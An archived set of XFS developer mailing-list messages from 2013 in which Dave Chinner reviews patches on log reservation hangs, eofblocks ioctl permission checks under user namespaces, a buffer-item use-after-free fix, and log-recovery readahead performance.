19:21, Dave Chinner wrote: > >On Wed, Jul 24, 2013 at 08:28:42AM -0500, Mark Tinguely wrote: > >>If you could please redo the test and get the stack traces with > >>/proc/sysrq-trigger and if you kernel works with crash, a core dump. > >>For the stack trace, I mostly want to know if it has several > >>"xlog_grant_head_wait" entries in it, because ... > >> > >>...I seemed to have triggered a couple log space reservation hangs > >>with fsstress one XFS partition and a mega-copy on another > >>partition, but will have to graft the new XFS tree onto a Linux 3.10 > >>kernel to get crash (and one of my sata controllers) to work again. > > > >They are unrelated to this patchset. > > > >Somewhere in the code there > >is a mismatch between what we reserve as the base requirement for an > >actual log write and what the CIL actually steals, and that is, most > >likely, what is leading to log hangs. > > > >This is demonstratable in the fact that generic/070 on 512 byte > >block size filesystems regularly hits a transaction reservation > >exhausted assert failure on transaction commit of the periodic log > >dummy transaction on my test rigs. > > > >Cheers, > > > >Dave. > > In testing patch 44, I did not trip over any cil stealing asserts > before the hang. I think the cil steal assert is a different and a > legitimate complaint. When I tripped over the ASSERT in with the v3 > inode enabled, the writeid only reserves space for the sb but there > were occasions of root btree and attribute fork entry that were also > logged. > > patch 43 runs for hours without incident. Previous to this series, I > ran the same tests with parent pointer testing with much higher log > reservations for day or two and never got a hang. > > I tested patch 44 with copy like tests and both times it hung both > times - not a convincing number of tests. A quick look, I see an > empty AIL, empty CIL, the CTX is using 0 bytes, doesn't look like > there are any cil pushes going nor any older ctx, the ctx has an > empty ticket reservation. The log tail is 0xd000014d7 and > reserve/grant is 0xe00204d04. The next reservation is for a rename > transaction that uses just over the log space left. There has to be > a log space leak. I will go back patch 43 on one machine and patch > 44 on another and make sure it is patch 44 is causing the problem. Right, a patch that makes transaction commits go faster is likely to cause a pre-existing reservation leak to leak faster.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Jul 25 19:39:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4B6D67F37 for ; Thu, 25 Jul 2013 19:39:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2E9B78F8033 for ; Thu, 25 Jul 2013 17:39:59 -0700 (PDT) X-ASG-Debug-ID: 1374799197-04cbb02c3b8ee10001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id xgZPuAtlt7Iwlwu1 for ; Thu, 25 Jul 2013 17:39:57 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnUeAMbE8VF5LPxH/2dsb2JhbABagwaDKLYHhTqBExUCdGKBJxcEAQEEATocIxAIAw4HAwklDwUlAyEThUkHgiEZBbkRFo9nB4MSbgOXXpFOgyYq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 26 Jul 2013 10:09:57 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2W4X-0005rs-FU; Fri, 26 Jul 2013 10:39:53 +1000 Date: Fri, 26 Jul 2013 10:39:53 +1000 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH 03/48] libxfs: add crc format changes to generic btrees Message-ID: <20130726003953.GA21982@dastard> X-ASG-Orig-Subj: Re: [PATCH 03/48] libxfs: add crc format changes to generic btrees References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-4-git-send-email-david@fromorbit.com> <20130723182648.GI3111@sgi.com> <20130725004821.GC11222@dastard> <20130725171509.GZ3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130725171509.GZ3111@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1374799197 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137311 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Thu, Jul 25, 2013 at 12:15:09PM -0500, Ben Myers wrote: > Dave, > > On Thu, Jul 25, 2013 at 10:48:21AM +1000, Dave Chinner wrote: > > On Tue, Jul 23, 2013 at 01:26:48PM -0500, Ben Myers wrote: > > > On Fri, Jun 07, 2013 at 10:25:26AM +1000, Dave Chinner wrote: > > > > From: Dave Chinner > > > > > > > > Signed-off-by: Dave Chinner > > > > > > This patch mostly corresponds to commit ee1a47ab0e, and in some areas it is > > > equivalent but slightly different. There are some other things in here too: > > > > > > * Addition of XFS_BUF_DADDR_NULL > > > * rename of b_blkno to b_bn in struct xfs_buf > > > * rename of b_fsprivate to b_fspriv in struct xfs_buf > > > * addition of uuid_copy and uuid_equal, and libuuid to build > > > > > > It all looks fine to me, except as below: > > > > I think you'll find they are fixed up in later patches in the > > series. > > > > Indeed, I think it's a little late to asking for these patches to be > > changed, considering that making significant changes to these first > > few patches will mean that I have to rebase a 100 or so subsequent > > patches. > > You are mistaken... Mistaken about what, exactly? That a rebase will take days to do and retest, while an additional patch will take minutes? I don't even have this series set up with guilt anymore - it's been so long since it was committed to the crc-dev branch that I moved over to working on that branch and adding patches on top of it to fix issues. I've simply assumed that this patchset is fixed in concrete and any problems will be layered on top. People are already using this code, so we've already got a significant amount of test exposure to it. Going back and modifying and completely rebasing it invalidates all that test coverage. Rebasing is not a risk-free operation, and when that is combined with the amount of time needed for a rebase of such a series, I'd much prefer that code that is in the crc-dev tree remains untouched and we layer fixes on top of it... > > For issues that aren't fixed in later patches, I'll add new patches > > to the end of the current series to fix them. > > ...but I have no objection to taking this approach, so long as my > concerns are addressed. Which, for this patch, have already been addressed in subsequent patches.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Jul 25 19:42:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4CC527F37 for ; Thu, 25 Jul 2013 19:42:16 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D525CAC002 for ; Thu, 25 Jul 2013 17:42:15 -0700 (PDT) X-ASG-Debug-ID: 1374799333-04cbb02c3e8ef70001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id YbzzArr8aG4w0L5l for ; Thu, 25 Jul 2013 17:42:14 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhkHAMbE8VF5LPxH/2dsb2JhbABagwaDKLYHhTqBExd0giQBAQU6HCMQCAMYCSUPBSUDIROID7kRFo9nB4MSbgOXXoojhyuDJio Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 26 Jul 2013 10:12:13 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2W6l-0005s3-9l; Fri, 26 Jul 2013 10:42:11 +1000 Date: Fri, 26 Jul 2013 10:42:11 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH v6 1/7] xfs: create wrappers for converting kuid_t to/from uid_t Message-ID: <20130726004211.GB21982@dastard> X-ASG-Orig-Subj: Re: [PATCH v6 1/7] xfs: create wrappers for converting kuid_t to/from uid_t References: <20130725114921.0d860cc4@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130725114921.0d860cc4@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1374799333 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137311 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 25, 2013 at 11:49:21AM -0400, Dwight Engen wrote: > Signed-off-by: Dwight Engen Dwight, can you add the reviewed-by tags people have sent to the commit messages? When you repost a patch series, that's a reminder to everyone who has already looked at this code. It's also a reminder to the reviewers of where in the patch set they need to concentrate new reviews... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Jul 25 20:29:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 33D407F37 for ; Thu, 25 Jul 2013 20:29:36 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2517D304093 for ; Thu, 25 Jul 2013 18:29:33 -0700 (PDT) X-ASG-Debug-ID: 1374802170-04cb6c2e9f90fd0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 23qjhhtm0JmC5T8t for ; Thu, 25 Jul 2013 18:29:31 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhkHADDQ8VF5LPxH/2dsb2JhbABagwaDKLYHhTqBExd0giQBAQUnExwjEAgDGAklDwUlAyEThhGBfrkTFo9nB4MSbgOXXpFOgyYqgTU Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 26 Jul 2013 10:59:29 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2WqV-0005x7-Nk; Fri, 26 Jul 2013 11:29:27 +1000 Date: Fri, 26 Jul 2013 11:29:27 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH v6 6/7] xfs: add permission check to free eofblocks ioctl Message-ID: <20130726012927.GC21982@dastard> X-ASG-Orig-Subj: Re: [PATCH v6 6/7] xfs: add permission check to free eofblocks ioctl References: <20130725114946.13c7e4ad@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130725114946.13c7e4ad@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1374802170 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137313 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Thu, Jul 25, 2013 at 11:49:46AM -0400, Dwight Engen wrote: > We need to check that userspace callers can only truncate preallocated > blocks from files they have write access to to prevent them from prematurley > reclaiming blocks from another user. The internal reclaimer will not specify > the internal XFS_KEOF_FLAGS_PERM_CHECK flag, but callers from userspace will > have it forced on. > > Add check for read-only filesystem to free eofblocks ioctl. OK, so let me preface this by saying I understand a lot more about user namespaces that I did a week ago... Firstly, this ioctls allows any user to call this function with arbitrary uid/gid/prid values here. Regardless of user namespaces, I think that the only UID/GID that should be allowed to be passed for a user context is their own UID/GID. There's no point in allowing a scan if the inode_permission()/uid/gid matching checks are always going to fail. Secondly, because a user can issue an arbitrary number of concurrent scans, I'd suggest we serialise all user scans through a per-mount mutex. i.e. there can only be one user scan in progress at a time. For users with capable(CAP_SYS_ADMIN), we don't need to serialise them as we let root in the init userns shoot themselves in the foot all they want. Thirdly, project quotas are not really a user controlled resource and so I don't think we want users calling this ioctl to trim project quotas. Indeed, the files in the project that need trimming may not even belong to the user running the scan, and hence the user will never be allowed to trim the EOF blocks. Further, project quotas might underly the namespace container and be used for limiting the disk space the namespace container uses. In which case, we don't even want access to the project ID scanning from within the namespace. Because of this, I'd suggest that project ID scans need a "capable(CAP_SYS_ADMIN)" check on them. This means a project ID scan can only be run from the init_userns - it cannot be done from within the userns container at all. ..... > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > index ed35584..a80f38c 100644 > --- a/fs/xfs/xfs_icache.c > +++ b/fs/xfs/xfs_icache.c > @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( > if (!xfs_inode_match_id(ip, eofb)) > return 0; > > + if ((eofb->eof_flags & XFS_KEOF_FLAGS_PERM_CHECK) && > + inode_permission(VFS_I(ip), MAY_WRITE)) > + return 0; Lastly, what happens if this inode_permission() call occurs in the context of a kworker thread. What userns does an anonymous kworker thread run in? It's the init userns, right? so: inode_permission(inode, MAY_WRITE); generic_permission(inode, MAY_WRITE) inode_capable(inode, CAP_DAC_OVERRIDE) { ns = current_user_ns(); return ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid); } If we are running in the init_userns as a kernel thread, the ns_capable() check will return true, and there's always a mapping in the init namespace so kuid_has_mapping() will return true. Hence we'll always have write permission to every inode we check, regardless of the XFS_KEOF_FLAGS_PERM_CHECK flag. IOWs, this permission check is useless if we run the scan via a workqueue. Hence we need to be *very careful* with the way we execute scans and so this needs big, loud comments around it to remind us to be careful in the future. > +#define XFS_KEOF_FLAGS_PERM_CHECK (1 << 31) /* check can write inode */ > +#if XFS_KEOF_FLAGS_PERM_CHECK & XFS_EOF_FLAGS_VALID > +#error "Internal XFS_KEOF_FLAGS_PERM_CHECK duplicated bit from XFS_EOF_FLAGS_VALID" > +#endif BUILD_BUG_ON() is the preferred method of doing this. Say, in xfs_super.c::init_xfs_fs(). Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Jul 25 21:03:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 349F87F37 for ; Thu, 25 Jul 2013 21:03:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B736EAC004 for ; Thu, 25 Jul 2013 19:03:51 -0700 (PDT) X-ASG-Debug-ID: 1374804229-04cbb02c3e94780001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id KcloodOCOBHFP5Z0 for ; Thu, 25 Jul 2013 19:03:49 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhoHAPfX8VF5LPxH/2dsb2JhbABagwaDKLYHhTqBExd0giQBAQQBJxMcIwULCAMUAQMJJQ8FDRgDNId+AwkFsCoNiF4WjH+CaAeDEm4DlXaBaIwohSaDJiqBLAQ Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 26 Jul 2013 11:33:20 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2XNG-00060w-TY; Fri, 26 Jul 2013 12:03:18 +1000 Date: Fri, 26 Jul 2013 12:03:18 +1000 From: Dave Chinner To: zwu.kernel@gmail.com Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, Zhi Yong Wu Subject: Re: [PATCH] xfs: fix an assertion failure Message-ID: <20130726020318.GD21982@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix an assertion failure References: <1374759524-10061-1-git-send-email-zwu.kernel@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374759524-10061-1-git-send-email-zwu.kernel@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1374804229 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137313 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Thu, Jul 25, 2013 at 09:38:44PM +0800, zwu.kernel@gmail.com wrote: > From: Zhi Yong Wu > > When running the compilebench, one assertion failure was found. > This related line of code was introduced by commit 5f6bed76c0. > > commit 5f6bed76c0c85cb4d04885a5de00b629deee550b > Author: Dave Chinner > Date: Thu Jun 27 16:04:52 2013 +1000 > > xfs: Introduce an ordered buffer item Ok, so the assert was introduced there, and for good reason: if we are about to free the xfs_buf_log_item, then it better not still be referenced by the AIL. > XFS: Assertion failed: !(bip->bli_item.li_flags & XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 942 > ------------[ cut here ]------------ > kernel BUG at fs/xfs/xfs_message.c:108! > invalid opcode: 0000 [#1] SMP > Modules linked in: > CPU: 0 PID: 40 Comm: kworker/u2:1 Not tainted 3.11.0-rc2+ #955 > Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 > Workqueue: writeback bdi_writeback_workfn (flush-8:0) .... > [] xfs_buf_item_relse+0x4f/0xd0 > [] xfs_buf_item_unlock+0x18b/0x1e0 > [] xfs_trans_free_items+0x7d/0xb0 > [] xfs_trans_cancel+0x13c/0x1b0 > [] xfs_iomap_write_allocate+0x249/0x350 > [] xfs_map_blocks+0x2e2/0x350 > [] xfs_vm_writepage+0x236/0x5e0 And what we see here is a buffer item being released and freed after a cancelled allocation transaction while it is in the AIL. That's indicative of a bug in the buffer item code, and will cause user-after-free issues. Hence: > diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c > index bfc4e0c..b4d42ae 100644 > --- a/fs/xfs/xfs_buf_item.c > +++ b/fs/xfs/xfs_buf_item.c > @@ -939,7 +939,6 @@ xfs_buf_item_relse( > xfs_buf_log_item_t *bip = bp->b_fspriv; > > trace_xfs_buf_item_relse(bp, _RET_IP_); > - ASSERT(!(bip->bli_item.li_flags & XFS_LI_IN_AIL)); Removing the assert is not going to fix the bug that it is telling us is ocurring. Indeed, it points out that the calling code - xfs_buf_item_unlock() - is probably doing the wrong this. i.e. that it assumes that a clean buffer item is only referenced in this transaction and so it can unconditionally free it. That's an invalid assumption, and exactly the situation that the above assert was designed to catch. Can you try the patch below? It should fix the problem.... Cheers, Dave. -- Dave Chinner david@fromorbit.com xfs: use reference counts to free clean buffer items From: Dave Chinner When a transaction is cancelled and the buffer log item is clean in the transaction, the buffer log item is unconditionally freed. If the log item is in the AIL, however, this leads to a use after free condition as the item still has other users. In this case, xfs_buf_item_relse() should only be called on clean buffer items if the reference count has dropped to zero. This ensures only the last user frees the item. Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf_item.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index 9358504..3a944b1 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -613,11 +613,9 @@ xfs_buf_item_unlock( } } } - if (clean) - xfs_buf_item_relse(bp); - else if (aborted) { + if (clean || aborted) { if (atomic_dec_and_test(&bip->bli_refcount)) { - ASSERT(XFS_FORCED_SHUTDOWN(lip->li_mountp)); + ASSERT(!aborted || XFS_FORCED_SHUTDOWN(lip->li_mountp)); xfs_buf_item_relse(bp); } } else From david@fromorbit.com Thu Jul 25 21:50:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 654607F37 for ; Thu, 25 Jul 2013 21:50:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 561E2304093 for ; Thu, 25 Jul 2013 19:50:59 -0700 (PDT) X-ASG-Debug-ID: 1374807053-04cb6c153d915b0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id nWGlvMeTHQPFxOZJ for ; Thu, 25 Jul 2013 19:50:53 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AscNAKXj8VF5LPxH/2dsb2JhbABagwY1gnOnNQKOUIU6gRMXdIIkAQEEAScTHCMFCwgDFQMJJQ8FDRgDNId+AwkFsCsNiF4WjH+BM4E1B4MSbgOVdoFojCiFJoMmKoEsBA Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Jul 2013 12:20:51 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2Y6b-00065f-Qf; Fri, 26 Jul 2013 12:50:09 +1000 Date: Fri, 26 Jul 2013 12:50:09 +1000 From: Dave Chinner To: zwu.kernel@gmail.com Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, Zhi Yong Wu Subject: Re: [PATCH] xfs: introduce object readahead to log recovery Message-ID: <20130726025009.GE21982@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: introduce object readahead to log recovery References: <1374740619-29797-1-git-send-email-zwu.kernel@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374740619-29797-1-git-send-email-zwu.kernel@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374807053 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137314 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Thu, Jul 25, 2013 at 04:23:39PM +0800, zwu.kernel@gmail.com wrote: > From: Zhi Yong Wu > > It can take a long time to run log recovery operation because it is > single threaded and is bound by read latency. We can find that it took > most of the time to wait for the read IO to occur, so if one object > readahead is introduced to log recovery, it will obviously reduce the > log recovery time. > > In dirty log case as below: > data device: 0xfd10 > log device: 0xfd10 daddr: 20480032 length: 20480 > > log tail: 7941 head: 11077 state: That's only a small log (10MB). As I've said on irc, readahead won't show any real difference on this and you need to be testing with large logs. > > This dirty ratio is about 15%. I am trying to do tests in larger scale > and dirtier filesystem environment. > > Log recovery time stat: > > w/o this patch w/ this patch > real 0m1.051s 0m0.965s > sys 0m0.033s 0m0.035s > > iowait 0m1.018s 0m0.930s Well, it's not made much of a difference there. That's probably within the noise of repeated log recovery runs. My simple test is: $ cat recovery_time.sh #!/bin/bash cd /home/dave/src/compilebench-0.6/ mkfs.xfs -f /dev/vdc; mount /dev/vdc /mnt/scratch chmod 777 /mnt/scratch; ./compilebench --no-sync -D /mnt/scratch & sleep 55 /home/dave/src/xfstests-dev/src/godown /mnt/scratch umount /mnt/scratch xfs_logprint -t /dev/vdc |head -20 time mount /dev/vdc /mnt/scratch umount /mnt/scratch $ And the recovery time from this is between 15-17s: .... log device: 0xfd20 daddr: 107374182032 length: 4173824 ^^^^^^^ almost 2GB log tail: 19288 head: 264809 state: .... real 0m17.913s user 0m0.000s sys 0m2.381s And runs at 3-4000 read IOPs for most of that time. It's largely IO bound, even on SSDs. With your patch: log tail: 35871 head: 308393 state: real 0m12.715s user 0m0.000s sys 0m2.247s And it peaked at ~5000 read IOPS. It's definitely an improvement, but there's a lot of dead time still spent waiting for IO that we should be able to remove. Let's have a look at the code... > +STATIC void > +xlog_recover_inode_ra_pass2( > + struct xlog *log, > + struct xlog_recover_item *item) > +{ > + xfs_inode_log_format_t *in_f; > + xfs_mount_t *mp = log->l_mp; > + int error; > + int need_free = 0; > + > + if (item->ri_buf[0].i_len == sizeof(xfs_inode_log_format_t)) { > + in_f = item->ri_buf[0].i_addr; > + } else { > + in_f = kmem_alloc(sizeof(xfs_inode_log_format_t), KM_SLEEP); > + need_free = 1; > + error = xfs_inode_item_format_convert(&item->ri_buf[0], in_f); > + if (error) > + goto error; > + } I'd just put the conversion buffer on stack and avoid the need to alloc/free memory here. There's plenty of stack space available during recovery here, so let's use it to keep the overhead of readahead down. > +STATIC void > +xlog_recover_dquot_ra_pass2( > + struct xlog *log, > + struct xlog_recover_item *item) > +{ > + xfs_mount_t *mp = log->l_mp; > + xfs_buf_t *bp; > + struct xfs_disk_dquot *recddq; > + int error; > + xfs_dq_logformat_t *dq_f; > + uint type; > + > + > + if (mp->m_qflags == 0) > + return; > + > + recddq = item->ri_buf[1].i_addr; > + if (recddq == NULL) > + return; > + if (item->ri_buf[1].i_len < sizeof(xfs_disk_dquot_t)) > + return; > + > + type = recddq->d_flags & (XFS_DQ_USER | XFS_DQ_PROJ | XFS_DQ_GROUP); > + ASSERT(type); > + if (log->l_quotaoffs_flag & type) > + return; > + > + dq_f = item->ri_buf[0].i_addr; > + ASSERT(dq_f); > + error = xfs_qm_dqcheck(mp, recddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, > + "xlog_recover_dquot_ra_pass2 (log copy)"); > + if (error) > + return; > + ASSERT(dq_f->qlf_len == 1); > + > + error = xfs_trans_read_buf(mp, NULL, mp->m_ddev_targp, dq_f->qlf_blkno, > + XFS_FSB_TO_BB(mp, dq_f->qlf_len), 0, &bp, > + NULL); > + if (!error) > + xfs_buf_relse(bp); > +} That's not doing readahead - that's an integrity check followed by a blocking read. Shouldn't it just be calling xfs_buf_readahead() on dq_f->qlf_blkno/dq_f->qlf_len, after checking whether it had been cancelled? > STATIC int > xlog_recover_commit_pass1( > struct xlog *log, > @@ -3140,10 +3255,14 @@ xlog_recover_commit_pass2( > struct xlog *log, > struct xlog_recover *trans, > struct list_head *buffer_list, > - struct xlog_recover_item *item) > + struct xlog_recover_item *item, > + struct xlog_recover_item *next_item) > { > trace_xfs_log_recover_item_recover(log, trans, item, XLOG_RECOVER_PASS2); > > + if (next_item) > + xlog_recover_ra_pass2(log, next_item); > + Ah, that explains the limited improvement - it's only doing readahead of a single item at a time. IOWs, we are completing recovery of the current object before IO completion of the next object has occurred. This generally means the read-ahead queue is not deep enough... > switch (ITEM_TYPE(item)) { > case 